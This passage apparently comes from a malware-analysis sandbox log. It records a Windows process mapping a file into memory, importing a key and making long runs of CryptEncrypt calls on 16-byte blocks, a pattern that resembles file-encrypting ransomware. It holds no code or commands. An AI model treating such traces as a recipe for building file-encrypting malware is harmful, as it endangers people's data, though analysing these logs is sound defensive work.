(hProv=0x16683d8, dwFlags=0x0) returned 1 [0165.858] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c09, lpName=0x0) returned 0x380 [0165.858] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c09) returned 0x1480000 [0165.859] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668df0) returned 1 [0165.859] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639568) returned 1 [0165.859] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0165.859] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0165.859] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.860] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.861] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.862] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.863] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.864] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, 